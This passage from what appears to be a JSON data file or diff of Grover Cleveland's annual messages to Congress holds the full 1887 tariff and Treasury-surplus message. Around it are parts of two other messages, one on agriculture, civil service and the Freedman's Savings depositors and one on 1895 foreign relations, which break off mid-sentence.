of agricultural wealth and the dissemination of early\ninformation concerning production and prices it has contributed largely to\nthe country's prosperity. Through this agency advanced thought and\ninvestigation touching the subjects it has in charge should, among other\nthings, be practically applied to the home production at a low cost of\narticles of food which are now imported from abroad. Such an innovation\nwill necessarily, of course, in the beginning be within the domain of\nintelligent experiment, and the subject in every stage should receive all\npossible encouragement from the Government.The interests of millions of our citizens engaged in agriculture are\ninvolved in an enlargement and improvement of the results of their labor,\nand a zealous regard for their welfare should be a willing tribute to those\nwhose productive returns are a main source of our progress and power.The existence of pleuro-pneumonia among the cattle of various States has\nled to burdensome and in some cases disastrous restrictions in an important\nbranch of our commerce, threatening to affect the quantity and quality of\nour food supply. This is a matter of such importance and of such\nfar-reaching consequences that I hope it will engage the serious attention\nof the Congress, to the end that such a remedy may be applied as the limits\nof a constitutional delegation of power to the General Government will\npermit.I commend to the consideration of the Congress the report of the\nCommissioner and his suggestions concerning the interest intrusted to his\ncare.The continued operation of the law relating to our civil service has added\nthe most convincing proofs of its necessity and usefulness. It is a fact\nworthy of note that every public officer who has a just idea of his duty to\nthe people testifies to the value of this reform. Its staunchest, friends\nare found among those who understand it best, and its warmest supporters\nare those who are restrained and protected by its requirements.The meaning of such restraint and protection is not appreciated by those\nwho want places under the Government regardless of merit and efficiency,\nnor by those who insist that the selection of such places should rest upon\na proper credential showing active partisan work. They mean to public\nofficers, if not their lives, the only opportunity afforded them to attend\nto public business, and they mean to the good people of the country the\nbetter performance of the work of their Government.It is exceedingly strange that the scope and nature of this reform are so\nlittle understood and that so many things not included within its plan are\ncalled by its name. When cavil yields more fully to examination, the system\nwill have large additions to the number of its friends.Our civil-service reform may be imperfect in some of its details; it may be\nmisunderstood and opposed; it may not always be faithfully applied; its\ndesigns may sometimes miscarry through mistake or willful intent; it may\nsometimes tremble under the assaults of its enemies or languish under the\nmisguided zeal of impracticable friends; but if the people of this country\never submit to the banishment of its underlying principle from the\noperation of their Government they will abandon the surest guaranty of the\nsafety and success of American institutions.I invoke for this reform the cheerful and ungrudging support of the\nCongress. I renew my recommendation made last year that the salaries of the\nCommissioners be made equal to other officers of the Government having like\nduties and responsibilities, and I hope that such reasonable appropriations\nmay be made as will enable them to increase the usefulness of the cause\nthey have in charge.I desire to call the attention of the Congress to a plain duty which the\nGovernment owes to the depositors in the Freedman's Savings and Trust\nCompany.This company was chartered by the Congress for the benefit of the most\nilliterate and humble of our people, and with the intention of encouraging\nin them industry and thrift. Most of its branches were presided over by\nofficers holding the commissions and clothed in the uniform of the United\nStates. These and other circumstances reasonably, I think, led these simple\npeople to suppose that the invitation to deposit their hard-earned savings\nin this institution implied an undertaking on the part of their Government\nthat their money should be safely kept for them.When this company failed, it was liable in the sum of $2,939,925.22 to\n61,131 depositors. Dividends amounting in the aggregate to 62 per cent have\nbeen declared, and the sum called for and paid of such dividends seems to\nbe $1,648,181.72. This sum deducted from the entire amount of deposits\nleaves $1,291,744.50 still unpaid. Past experience has shown that quite a\nlarge part of this sum will not be called for. There are assets still on\nhand amounting to the estimated sum of $16,000.I think the remaining 38 per cent of such of these deposits as have\nclaimants should be paid by the Government, upon principles of equity and\nfairness.The report of the commissioner, soon to be laid before Congress, will give\nmore satisfactory details on this subject.The control of the affairs of the District of Columbia having been placed\nin the hands of purely executive officers, while the Congress still retains\nall legislative authority relating to its government, it becomes my duty to\nmake known the most pressing needs of the District and recommend their\nconsideration.The laws of the District appear to be in an uncertain and unsatisfactory\ncondition, and their codification or revision is much needed.During the past year one of the bridges leading from the District to the\nState of Virginia became unfit for use, and travel upon it was forbidden.\nThis leads me to suggest that the improvement of all the bridges crossing\nthe Potomac and its branches from the city of Washington is worthy the\nattention of Congress.The Commissioners of the District represent that the laws regulating the\nsale of liquor and granting licenses therefor should be at once amended,\nand that legislation is needed to consolidate, define, and enlarge the\nscope and powers of charitable and penal institutions within the District.I suggest that the Commissioners be clothed with the power to make, within\nfixed limitations, police regulations. I believe this power granted and\ncarefully guarded would tend to subserve the good order of the\nmunicipality.It seems that trouble still exists growing out of the occupation of the\nstreets and avenues by certain railroads having their termini in the city.\nIt is very important that such laws should be enacted upon this subject as\nwill secure to the railroads all the facilities they require for the\ntransaction of their business and at the same time protect citizens from\ninjury to their persons or property.The Commissioners again complain that the accommodations afforded them for\nthe necessary offices for District business and for the safe-keeping of\nvaluable books and papers are entirely insufficient. I recommend that this\ncondition of affairs be remedied by the Congress, and that suitable\nquarters be furnished for the needs of the District government.In conclusion I earnestly invoke such wise action on the part of the\npeople's legislators as will subserve the public good and demonstrate\nduring the remaining days of the Congress as at present organized its\nability and inclination to so meet the people's needs that it shall be\ngratefully remembered by an expectant constituency.", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 6, 1887", 
+    "speech": "To the Congress of the United States:You are confronted at the threshold of your legislative duties with a\ncondition of the national finances which imperatively demands immediate and\ncareful consideration.The amount of money annually exacted, through the operation of present\nlaws, from the industries and necessities of the people largely exceeds the\nsum necessary to meet the expenses of the Government.When we consider that the theory of our institutions guarantees to every\ncitizen the full enjoyment of all the fruits of his industry and\nenterprise, with only such deduction as may be his share toward the careful\nand economical maintenance of the Government which protects him, it is\nplain that the exaction of more than this is indefensible extortion and a\nculpable betrayal of American fairness and justice. This wrong inflicted\nupon those who bear the burden of national taxation, like other wrongs,\nmultiplies a brood of evil consequences. The public Treasury, which should\nonly exist as a conduit conveying the people's tribute to its legitimate\nobjects of expenditure, becomes a hoarding place for money needlessly\nwithdrawn from trade and the people's use, thus crippling our national\nenergies, suspending our country's development, preventing investment in\nproductive enterprise, threatening financial disturbance, and inviting\nschemes of public plunder.This condition of our Treasury is not altogether new, and it has more than\nonce of late been submitted to the people's representatives in the\nCongress, who alone can apply a remedy. And yet the situation still\ncontinues, with aggravated incidents, more than ever presaging financial\nconvulsion and widespread disaster.It will not do to neglect this situation because its dangers are not now\npalpably imminent and apparent. They exist none the less certainly, and\nawait the unforeseen and unexpected occasion when suddenly they will be\nprecipitated upon us.On the 30th day of June, 1885, the excess of revenues over public\nexpenditures, after complying with the annual requirement of the\nsinking-fund act, was $17,859,735.84; during the year ended June 30, 1886,\nsuch excess amounted to $49,405,545.20, and during the year ended June 30,\n1887, it reached the sum of $55,567,849.54.The annual contributions to the sinking fund during the three years above\nspecified, amounting in the aggregate to $138,058,320.94, and deducted from\nthe surplus as stated, were made by calling in for that purpose outstanding\n3 per cent bonds of the Government. During the six months prior to June 30,\n1887, the surplus revenue had grown so large by repeated accumulations, and\nit was feared the withdrawal of this great sum of money needed by the\npeople would so affect the business of the country, that the sum of\n$79,864,100 of such surplus was applied to the payment of the principal and\ninterest of the 3 per cent bonds still outstanding, and which were then\npayable at the option of the Government. The precarious condition of\nfinancial affairs among the people still needing relief, immediately after\nthe 30th day of June, 1887, the remainder of the 3 per cent bonds then\noutstanding, amounting with principal and interest to the sum of\n$18,877,500, were called in and applied to the sinking-fund contribution\nfor the current fiscal year. Notwithstanding these operations of the\nTreasury Department, representations of distress in business circles not\nonly continued, but increased, and absolute peril seemed at hand. In these\ncircumstances the contribution to the sinking fund for the current fiscal\nyear was at once completed by the expenditure of $27,684,283.55 in the\npurchase of Government bonds not yet due bearing 4 and 41/2 per cent\ninterest, the premium paid thereon averaging about 24 per cent for the\nformer and 8 per cent for the latter. In addition to this, the interest\naccruing during the current year upon the outstanding bonded indebtedness\nof the Government was to some extent anticipated, and banks selected as\ndepositories of public money were permitted to somewhat increase their\ndeposits.While the expedients thus employed to release to the people the money lying\nidle in the Treasury served to avert immediate danger, our surplus revenues\nhave continued to accumulate, the excess for the present year amounting on\nthe 1st day of December to $55,258,701.19, and estimated to reach the sum\nof $113,000,000 on the 30th of June next, at which date it is expected that\nthis sum, added to prior accumulations, will swell the surplus in the\nTreasury to $140,000,000.There seems to be no assurance that, with such a withdrawal from use of the\npeople's circulating medium, our business community may not in the near\nfuture be subjected to the same distress which was quite lately produced\nfrom the same cause. And while the functions of our National Treasury\nshould be few and simple, and while its best condition would be reached, I\nbelieve, by its entire disconnection with private business interests, yet\nwhen, by a perversion of its purposes, it idly holds money uselessly\nsubtracted from the channels of trade, there seems to be reason for the\nclaim that some legitimate means should be devised by the Government to\nrestore in an emergency, without waste or extravagance, such money to its\nplace among the people.If such an emergency arises, there now exists no clear and undoubted\nexecutive power of relief. Heretofore the redemption of 3 per cent bonds,\nwhich were payable at the option of the Government, has afforded a means\nfor the disbursement of the excess of our revenues; but these bonds have\nall been retired, and there are no bonds outstanding the payment of which\nwe have a right to insist upon. The contribution to the sinking fund which\nfurnishes the occasion for expenditure in the purchase of bonds has been\nalready made for the current year, so that there is no outlet in that\ndirection.In the present state of legislation the only pretense of any existing\nexecutive power to restore at this time any part of our surplus revenues to\nthe people by its expenditure consists in the supposition that the\nSecretary of the Treasury may enter the market and purchase the bonds of\nthe Government not yet due, at a rate of premium to be agreed upon. The\nonly provision of law from which such a power could be derived is found in\nan appropriation bill passed a number of years ago, and it is subject to\nthe suspicion that it was intended as temporary and limited in its\napplication, instead of conferring a continuing discretion and authority.\nNo condition ought to exist which would justify the grant of power to a\nsingle official, upon his judgment of its necessity, to withhold from or\nrelease to the business of the people, in an unusual manner, money held in\nthe Treasury, and thus affect at his will the financial situation of the\ncountry; and if it is deemed wise to lodge in the Secretary of the Treasury\nthe authority in the present juncture to purchase bonds, it should be\nplainly vested, and provided, as far as possible, with such checks and\nlimitations as will define this official's right and discretion and at the\nsame time relieve him from undue responsibility.In considering the question of purchasing bonds as a means of restoring to\ncirculation the surplus money accumulating in the Treasury, it should be\nborne in mind that premiums must of course be paid upon such purchase, that\nthere may be a large part of these bonds held as investments which can not\nbe purchased at any price, and that combinations among holders who are\nwilling to sell may unreasonably enhance the cost of such bonds to the\nGovernment.It has been suggested that the present bonded debt might be refunded at a\nless rate of interest and the difference between the old and new security\npaid in cash, thus finding use for the surplus in the Treasury. The success\nof this plan, it is apparent, must depend upon the volition of the holders\nof the present bonds; and it is not entirely certain that the inducement\nwhich must be offered them would result in more financial benefit to the\nGovernment than the purchase of bonds, while the latter proposition would\nreduce the principal of the debt by actual payment instead of extending\nit.The proposition to deposit the money held by the Government in banks\nthroughout the country for use by the people is, it seems to me,\nexceedingly objectionable in principle, as establishing too close a\nrelationship between the operations of the Government Treasury and the\nbusiness of the country and too extensive a commingling of their money,\nthus fostering an unnatural reliance in private business upon public funds.\nIf this scheme should be adopted, it should only be done as a temporary\nexpedient to meet an urgent necessity. Legislative and executive effort\nshould generally be in the opposite direction, and should have a tendency\nto divorce, as much and as fast as can be safely done, the Treasury\nDepartment from private enterprise.Of course it is not expected that unnecessary and extravagant\nappropriations will be made for the purpose of avoiding the accumulation of\nan excess of revenue. Such expenditure, besides the demoralization of all\njust conceptions of public duty which it entails, stimulates a habit of\nreckless improvidence not in the least consistent with the mission of our\npeople or the high and beneficent purposes of our Government.I have deemed it my duty to thus bring to the knowledge of my countrymen,\nas well as to the attention of their representatives charged with the\nresponsibility of legislative relief, the gravity of our financial\nsituation. The failure of the Congress heretofore to provide against the\ndangers which it was quite evident the very nature of the difficulty must\nnecessarily produce caused a condition of financial distress and\napprehension since your last adjournment which taxed to the utmost all the\nauthority and expedients within executive control; and these appear now to\nbe exhausted. If disaster results from the continued inaction of Congress,\nthe responsibility must rest where it belongs.Though the situation thus far considered is fraught with danger which\nshould be fully realized, and though it presents features of wrong to the\npeople as well as peril to the country, it is but a result growing out of a\nperfectly palpable and apparent cause, constantly reproducing the same\nalarming circumstances--a congested National Treasury and a depleted\nmonetary condition in the business of the country. It need hardly be stated\nthat while the present situation demands a remedy, we can only be saved\nfrom a like predicament in the future by the removal of its cause.Our scheme of taxation, by means of which this needless surplus is taken\nfrom the people and put into the public Treasury, consists of a tariff or\nduty levied upon importations from abroad and internal-revenue taxes levied\nupon the consumption of tobacco and spirituous and malt liquors. It must be\nconceded that none of the things subjected to internal-revenue taxation\nare, strictly speaking, necessaries. There appears to be no just complaint\nof this taxation by the consumers of these articles, and there seems to be\nnothing so well able to bear the burden without hardship to any portion of\nthe people.But our present tariff laws, the vicious, inequitable, and illogical source\nof unnecessary taxation, ought to be at once revised and amended. These\nlaws, as their primary and plain effect, raise the price to consumers of\nall articles imported and subject to duty by precisely the sum paid for\nsuch duties. Thus the amount of the duty measures the tax paid by those who\npurchase for use these imported articles. Many of these things, however,\nare raised or manufactured in our own country, and the duties now levied\nupon foreign goods and products are called protection to these home\nmanufactures, because they render it possible for those of our people who\nare manufacturers to make these taxed articles and sell them for a price\nequal to that demanded for the imported goods that have paid customs duty.\nSo it happens that while comparatively a few use the imported articles,\nmillions of our people, who never used and never saw any of the foreign\nproducts, purchase and use things of the same kind made in this country,\nand pay therefor nearly or quite the same enhanced price which the duty\nadds to the imported articles. Those who buy imports pay the duty charged\nthereon into the public Treasury, but the great majority of our citizens,\nwho buy domestic articles of the same class, pay a sum at least\napproximately equal to this duty to the home manufacturer. This reference\nto the operation of our tariff laws is not made by way of instruction, but\nin order that we may be constantly reminded of the manner in which they\nimpose a burden upon those who consume domestic products as well as those\nwho consume imported articles, and thus create a tax upon all our people.It is not proposed to entirely relieve the country of this taxation. It\nmust be extensively continued as the source of the Government's income; and\nin a readjustment of our tariff the interests of American labor engaged in\nmanufacture should be carefully considered, as well as the preservation of\nour manufacturers. It may be called protection or by any other name, but\nrelief from the hardships and dangers of our present tariff laws should be\ndevised with especial precaution against imperiling the existence of our\nmanufacturing interests. But this existence should not mean a condition\nwhich, without regard to the public welfare or a national exigency, must\nalways insure the realization of immense profits instead of moderately\nprofitable returns. As the volume and diversity of our national activities\nincrease, new recruits are added to those who desire a continuation of the\nadvantages which they conceive the present system of tariff taxation\ndirectly affords them. So stubbornly have all efforts to reform the present\ncondition been resisted by those of our fellow-citizens thus engaged that\nthey can hardly complain of the suspicion, entertained to a certain extent,\nthat there exists an organized combination all along the line to maintain\ntheir advantage.We are in the midst of centennial celebrations, and with becoming pride we\nrejoice in American skill and ingenuity, in American energy and enterprise,\nand in the wonderful natural advantages and resources developed by a\ncentury's national growth. Yet when an attempt is made to justify a scheme\nwhich permits a tax to be laid upon every consumer in the land for the\nbenefit of our manufacturers, quite beyond a reasonable demand for\ngovernmental regard, it suits the purposes of advocacy to call our\nmanufactures infant industries still needing the highest and greatest\ndegree of favor and fostering care that can be wrung from Federal\nlegislation.It is also said that the increase in the price of domestic manufactures\nresulting from the present tariff is necessary in order that higher wages\nmay be paid to our workingmen employed in manufactories than are paid for\nwhat is called the pauper labor of Europe. All will acknowledge the force\nof an argument which involves the welfare and liberal compensation of our\nlaboring people. Our labor is honorable in the eyes of every American\ncitizen; and as it lies at the foundation of our development and progress,\nit is entitled, without affectation or hypocrisy, to the utmost regard. The\nstandard of our laborers' life should not be measured by that of any other\ncountry less favored, and they are entitled to their full share of all our\nadvantages.By the last census it is made to appear that of the 17,392,099 of our\npopulation engaged in all kinds of industries 7,670,493 are employed in\nagriculture, 4,074,238 in professional and personal service (2,934,876 of\nwhom are domestic servants and laborers), while 1,810,256 are employed in\ntrade and transportation and 3,837,112 are classed as employed in\nmanufacturing and mining.For present purposes, however, the last number given should be considerably\nreduced. Without attempting to enumerate all, it will be conceded that\nthere should be deducted from those which it includes 375,143 carpenters\nand joiners, 285,401 milliners, dressmakers, and seamstresses, 172,726\nblacksmiths, 133,756 tailors and tailoresses, 102,473 masons, 76,241\nbutchers, 41,309 bakers, 22,083 plasterers, and 4,891 engaged in\nmanufacturing agricultural implements, amounting in the aggregate to\n1,214,023, leaving 2,623,089 persons employed in such manufacturing\nindustries as are claimed to be benefited by a high tariff.To these the appeal is made to save their employment and maintain their\nwages by resisting a change. There should be no disposition to answer such\nsuggestions by the allegation that they are in a minority among those who\nlabor, and therefore should forego an advantage in the interest of low\nprices for the majority. Their compensation, as it may be affected by the\noperation of tariff laws, should at all times be scrupulously kept in view;\nand yet with slight reflection they will not overlook the fact that they\nare consumers with the rest; that they too have their own wants and those\nof their families to supply from their earnings, and that the price of the\nnecessaries of life, as well as the amount of their wages, will regulate\nthe measure of their welfare and comfort.But the reduction of taxation demanded should be so measured as not to\nnecessitate or justify either the loss of employment by the workingman or\nthe lessening of his wages; and the profits still remaining to the\nmanufacturer after a necessary readjustment should furnish no excuse for\nthe sacrifice of the interests of his employees, either in their\nopportunity to work or in the diminution of their compensation. Nor can the\nworker in manufactures fail to understand that while a high tariff is\nclaimed to be necessary to allow the payment of remunerative wages, it\ncertainly results in a very large increase in the price of nearly all sorts\nof manufactures, which, in almost countless forms, he needs for the use of\nhimself and his family. He receives at the desk of his employer his wages,\nand perhaps before he reaches his home is obliged, in a purchase for family\nuse of an article which embraces his own labor, to return in the payment of\nthe increase in price which the tariff permits the hard-earned compensation\nof many days of toil.The farmer and the agriculturist, who manufacture nothing, but who pay the\nincreased price which the tariff imposes upon every agricultural implement,\nupon all he wears, and upon all he uses and owns, except the increase of\nhis flocks and herds and such things as his husbandry produces from the\nsoil, is invited to aid in maintaining the present situation; and he is\ntold that a high duty on imported wool is necessary for the benefit of\nthose who have sheep to shear, in order that the price of their wool may be\nincreased. They, of course, are not reminded that the farmer who has no\nsheep is by this scheme obliged, in his purchases of clothing and woolen\ngoods, to pay a tribute to his fellow-farmer as well as to the manufacturer\nand merchant, nor is any mention made of the fact that the sheep owners\nthemselves and their households must wear clothing and use other articles\nmanufactured from the wool they sell at tariff prices, and thus as\nconsumers must return their share of this increased price to the\ntradesman.I think it may be fairly assumed that a large proportion of the sheep owned\nby the farmers throughout the country are found in small flocks, numbering\nfrom twenty-five to fifty. The duty on the grade of imported wool which\nthese sheep yield is 10 cents each pound if of the value of 30 cents or\nless and 12 cents if of the value of more than 30 cents. If the liberal\nestimate of 6 pounds be allowed for each fleece, the duty thereon would be\n60 or 72 cents; and this may be taken as the utmost enhancement of its\nprice to the farmer by reason of this duty. Eighteen dollars would thus\nrepresent the increased price of the wool from twenty-five sheep and $36\nthat from the wool of fifty sheep; and at present values this addition\nwould amount to about one-third of its price. If upon its sale the farmer\nreceives this or a less tariff profit, the wool leaves his hands charged\nwith precisely that sum, which in all its changes will adhere to it until\nit reaches the consumer. When manufactured into cloth and other goods and\nmaterial for use, its cost is not only increased to the extent of the\nfarmer's tariff profit, but a further sum has been added for the benefit of\nthe manufacturer under the operation of other tariff laws. In the meantime\nthe day arrives when the farmer finds it necessary to purchase woolen goods\nand material to clothe himself and family for the winter. When he faces the\ntradesman for that purpose, he discovers that he is obliged not only to\nreturn in the way of increased prices his tariff profit on the wool he\nsold, and which then perhaps lies before him in manufactured form, but that\nhe must add a considerable sum thereto to meet a further increase in cost\ncaused by a tariff duty on the manufacture. Thus in the end he is aroused\nto the fact that he has paid upon a moderate purchase, as a result of the\ntariff scheme, which when he sold his wool seemed so profitable, an\nincrease in price more than sufficient to sweep away all the tariff profit\nhe received upon the wool he produced and sold.When the number of farmers engaged in wool raising is compared with all the\nfarmers in the country and the small proportion they bear to our population\nis considered; when it is made apparent that in the case of a large part of\nthose who own sheep the benefit of the present tariff on wool is illusory;\nand, above all, when it must be conceded that the increase of the cost of\nliving caused by such tariff becomes a burden upon those with moderate\nmeans and the poor, the employed and unemployed, the sick and well, and the\nyoung and old, and that it constitutes a tax which with relentless grasp is\nfastened upon the clothing of every man, woman, and child in the land,\nreasons are suggested why the removal or reduction of this duty should be\nincluded in a revision of our tariff laws.In speaking of the increased cost to the consumer of our home manufactures\nresulting from a duty laid upon imported articles of the same description,\nthe fact is not ever looked that competition among our domestic producers\nsometimes has the effect of keeping the price of their products below the\nhighest limit allowed by such duty. But it is notorious that this\ncompetition is too often strangled by combinations quite prevalent at this\ntime, and frequently called trusts, which have for their object the\nregulation of the supply and price of commodities made and sold by members\nof the combination. The people can hardly hope for any consideration in the\noperation of these selfish schemes.If, however, in the absence of such combination, a healthy and free\ncompetition reduces the price of any particular dutiable article of home\nproduction below the limit which it might otherwise reach under our tariff\nlaws, and if with such reduced price its manufacture continues to thrive,\nit is entirely evident that one thing has been discovered which should be\ncarefully scrutinized in an effort to reduce taxation.The necessity of combination to maintain the price of any commodity to the\ntariff point furnishes proof that someone is willing to accept lower prices\nfor such commodity and that such prices are remunerative; and lower prices\nproduced by competition prove the same thing. Thus where either of these\nconditions exists a case would seem to be presented for an easy reduction\nof taxation.The considerations which have been presented touching our tariff laws are\nintended only to enforce an earnest recommendation that the surplus\nrevenues of the Government be prevented by the reduction of our customs\nduties, and at the same time to emphasize a suggestion that in\naccomplishing this purpose we may discharge a double duty to our people by\ngranting to them a measure of relief from tariff taxation in quarters where\nit is most needed and from sources where it can be most fairly and justly\naccorded.Nor can the presentation made of such considerations be with any degree of\nfairness regarded as evidence of unfriendliness toward our manufacturing\ninterests or of any lack of appreciation of their value and importance.These interests constitute a leading and most substantial element of our\nnational greatness and furnish the proud proof of our country's progress.\nBut if in the emergency that presses upon us our manufacturers are asked to\nsurrender something for the public good and to avert disaster, their\npatriotism, as well as a grateful recognition of advantages already\nafforded, should lead them to willing cooperation. No demand is made that\nthey shall forego all the benefits of governmental regard; but they can not\nfail to be admonished of their duty, as well as their enlightened\nself-interest and safety, when they are reminded of the fact that financial\npanic and collapse, to which the present condition tends, afford no greater\nshelter or protection to our manufactures than to other important\nenterprises. Opportunity for safe, careful, and deliberate reform is now\noffered; and none of us should be unmindful of a time when an abused and\nirritated people, heedless of those who have resisted timely and reasonable\nrelief, may insist upon a radical and sweeping rectification of their\nwrongs.The difficulty attending a wise and fair revision of our tariff laws is not\nunderestimated. It will require on the part of the Congress great labor and\ncare, and especially a broad and national contemplation of the subject and\na patriotic disregard of such local and selfish claims as are unreasonable\nand reckless of the welfare of the entire country.Under our present laws more than 4,000 articles are subject to duty. Many\nof these do not in any way compete with our own manufactures, and many are\nhardly worth attention as subjects of revenue. A considerable reduction can\nbe made in the aggregate by adding them to the free list. The taxation of\nluxuries presents no features of hardship; but the necessaries of life used\nand consumed by all the people, the duty upon which adds to the cost of\nliving in every home, should be greatly cheapened.The radical reduction of the duties imposed upon raw material used in\nmanufactures, or its free importation, is of course an important factor in\nany effort to reduce the price of these necessaries. It would not only\nrelieve them from the increased cost caused by the tariff on such material,\nbut the manufactured product being thus cheapened that part of the tariff\nnow laid upon such product, as a compensation to our manufacturers for the\npresent price of raw material, could be accordingly modified. Such\nreduction or free importation would serve besides to largely reduce the\nrevenue. It is not apparent how such a change can have any injurious effect\nupon our manufacturers. On the contrary, it would appear to give them a\nbetter chance in foreign markets with the manufacturers of other countries,\nwho cheapen their wares by free material. Thus our people might have the\nopportunity of extending their sales beyond the limits of home consumption,\nsaving them from the depression, interruption in business, and loss caused\nby a glutted domestic market and affording their employees more certain and\nsteady labor, with its resulting quiet and contentment.The question thus imperatively presented for solution should be approached\nin a spirit higher than partisanship and considered in the light of that\nregard for patriotic duty which should characterize the action of those\nintrusted with the weal of a confiding people. But the obligation to\ndeclared party policy and principle is not wanting to urge prompt and\neffective action. Both of the great political parties now represented in\nthe Government have by repeated and authoritative declarations condemned\nthe condition of our laws which permit the collection from the people of\nunnecessary revenue, and have in the most solemn manner promised its\ncorrection; and neither as citizens nor partisans are our countrymen in a\nmood to condone the deliberate violation of these pledges.Our progress toward a wise conclusion will not be improved by dwelling upon\nthe theories of protection and free trade. This savors too much of bandying\nepithets. It is a condition which confronts us, not a theory. Relief from\nthis condition may involve a slight reduction of the advantages which we\naward our home productions, but the entire withdrawal of such advantages\nshould not be contemplated. The question of free trade is absolutely\nirrelevant, and the persistent claim made in certain quarters that all the\nefforts to relieve the people from unjust and unnecessary taxation are\nschemes of so-called free traders is mischievous and far removed from any\nconsideration for the public good.The simple and plain duty which we owe the people is to reduce taxation to\nthe necessary expenses of an economical operation of the Government and to\nrestore to the business of the country the money which we hold in the\nTreasury through the perversion of governmental powers. These things can\nand should be done with safety to all our industries, without danger to the\nopportunity for remunerative labor which our workingmen need, and with\nbenefit to them and all our people by cheapening their means of subsistence\nand increasing the measure of their comforts.The Constitution provides that the President \"shall from time to time give\nto the Congress information of the state of the Union.\" It has been the\ncustom of the Executive, in compliance with this provision, to annually\nexhibit to the Congress, at the opening of its session, the general\ncondition of the country, and to detail with some particularity the\noperations of the different Executive Departments. It would be especially\nagreeable to follow this course at the present time and to call attention\nto the valuable accomplishments of these Departments during the last fiscal\nyear; but I am so much impressed with the paramount importance of the\nsubject to which this communication has thus far been devoted that I shall\nforego the addition of any other topic, and only urge upon your immediate\nconsideration the \"state of the Union\" as shown in the present condition of\nour Treasury and our general fiscal situation, upon which every element of\nour safety and prosperity depends.The reports of the heads of Departments, which will be submitted, contain\nfull and explicit information touching the transaction of the business\nintrusted to them and such recommendations relating to legislation in the\npublic interest as they deem advisable. I ask for these reports and\nrecommendations the deliberate examination and action of the legislative\nbranch of the Government.There are other subjects not embraced in the departmental reports demanding\nlegislative consideration, and which I should be glad to submit. Some of\nthem, however, have been earnestly presented in previous messages, and as\nto them I beg leave to repeat prior recommendations.As the law makes no provision for any report from the Department of State,\na brief history of the transactions of that important Department, together\nwith other matters which it may hereafter be deemed essential to commend to\nthe attention of the Congress, may furnish the occasion for a future\ncommunication.", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 7, 1895", 
+    "speech": "To the Congress of the United States:The present assemblage of the legislative branch of our Government occurs at a\ntime when the interests of our people and the needs of the country give\nespecial prominence to the condition of our foreign relations and the\nexigencies of our national finances. The reports of the heads of the several\nadministrative Departments of the Government fully and plainly exhibit what\nhas been accomplished within the scope of their respective duties and present\nsuch recommendations for the betterment of our country's condition as\npatriotic and intelligent labor and observation suggest.I therefore deem my executive duty adequately performed at this time by\npresenting to the Congress the important phases of our situation as related to\nour intercourse with foreign nations and a statement of the financial problems\nwhich confront us, omitting, except as they are related to these topics, any\nreference to departmental operations.I earnestly invite, however, not only the careful consideration but the\nseverely critical scrutiny of the Congress and my fellow-countrymen to the\nreports concerning these departmental operations. If justly and fairly\nexamined, they will furnish proof of assiduous and painstaking care for the\npublic welfare. I press the recommendations they contain upon the respectful\nattention of those charged with the duty of legislation, because I believe\ntheir adoption would promote the people's good.By amendatory tariff legislation in January last the Argentine Republic,\nrecognizing the value of the large market opened to the free importation of\nits wools under our last tariff act, has admitted certain products of the\nUnited States to entry at reduced duties. It is pleasing to note that the\nefforts we have made to enlarge the exchanges of trade on a sound basis of\nmutual benefit are in this instance appreciated by the country from which our\nwoolen factories draw their needful supply of raw material.The Missions boundary dispute between the Argentine Republic and Brazil,\nreferred to the President of the United States as arbitrator during the term\nof my predecessor, and which was submitted to me for determination, resulted\nin an award in favor of Brazil upon the historical and documentary evidence\npresented, thus ending a long-protracted controversy and again demonstrating\nthe wisdom and desirability of settling international boundary disputes by\nrecourse to friendly arbitration.Negotiations are progressing for a revival of the United States and Chilean\nClaims Commission, whose work was abruptly terminated last year by the\nexpiration of the stipulated time within which awards could be made.The resumption of specie payments by Chile is a step of great interest and\nimportance both in its direct consequences upon her own welfare and as\nevincing the ascendency of sound financial principles in one of the most\ninfluential of the South American Republics.The close of the momentous struggle between China and Japan, while relieving\nthe diplomatic agents of this Government from the delicate duty they undertook\nat the request of both countries of rendering such service to the subjects of\neither belligerent within the territorial limits of the other as our neutral\nposition permitted, developed a domestic condition in the Chinese Empire which\nhas caused much anxiety and called for prompt and careful attention. Either as\na result of a weak control by the central Government over the provincial\nadministrations, following a diminution of traditional governmental authority\nunder the stress of an overwhelming national disaster, or as a manifestation\nupon good opportunity of the aversion of the Chinese population to all foreign\nways and undertakings, there have occurred in widely separated provinces of\nChina serious outbreaks of the old fanatical spirit against foreigners, which,\nunchecked by the local authorities, if not actually connived at by them, have\nculminated in mob attacks on foreign missionary stations, causing much\ndestruction of property and attended with personal injuries as well as loss of\nlife.Although but one American citizen was reported to have been actually wounded,\nand although the destruction of property may have fallen more heavily upon the\nmissionaries of other nationalities than our own, it plainly behooved this\nGovernment to take the most prompt and decided action to guard against similar\nor perhaps more dreadful calamities befalling the hundreds of American mission\nstations which have grown up throughout the interior of China under the\ntemperate rule of toleration, custom, and imperial edict. The demands of the\nUnited States and other powers for the degradation and punishment of the\nresponsible officials of the respective cities and provinces who by neglect or\notherwise had permitted uprisings, and for the adoption of stern measures by\nthe Emperor's Government for the protection of the life and property of\nforeigners, were followed by the disgrace and dismissal of certain provincial\nofficials found derelict in duty and the punishment by death of a number of\nthose adjudged guilty of actual participation in the outrages.This Government also insisted that a special American commission should visit\nthe province where the first disturbances occurred for the purpose of\ninvestigation. The latter commission, formed after much opposition, has gone\noverland from Tientsin, accompanied by a suitable Chinese escort, and by its\ndemonstration of the readiness and ability of our Government to protect its\ncitizens will act, it is believed, as a most influential deterrent of any\nsimilar outbreaks.The energetic steps we have thus taken are all the more likely to result in\nfuture safety to our citizens in China because the Imperial Government is, I\nam persuaded, entirely convinced that we desire only the liberty and\nprotection of our own citizens and redress for any wrongs they may have\nsuffered, and that we have no ulterior designs or objects, political or\notherwise. China will not forget either our kindly service to her citizens\nduring her late war nor the further fact that, while furnishing all the\nfacilities at our command to further the negotiation of a peace between her\nand Japan, we sought no advantages and interposed no counsel.The Governments of both China and Japan have, in special dispatches\ntransmitted through their respective diplomatic representatives, expressed in\na most pleasing manner their grateful appreciation of our assistance to their\ncitizens during the unhappy struggle and of the value of our aid in paving the\nway to their resumption of peaceful relations.The customary cordial relations between this country and France have been\nundisturbed, with the exception that a full explanation of the treatment of\nJohn L. Waller by the expeditionary military authorities of France still\nremains to be given. Mr. Waller, formerly United States consul at Tamatav,\nremained in Madagascar after his term of office expired, and was apparently\nsuccessful in procuring business concessions from the Hovas of greater or less\nvalue. After the occupation of Tamatav and the declaration of martial law by\nthe French he was arrested upon various charges, among them that of\ncommunicating military information to the enemies of France, was tried and\nconvicted by a military tribunal, and sentenced to twenty years' 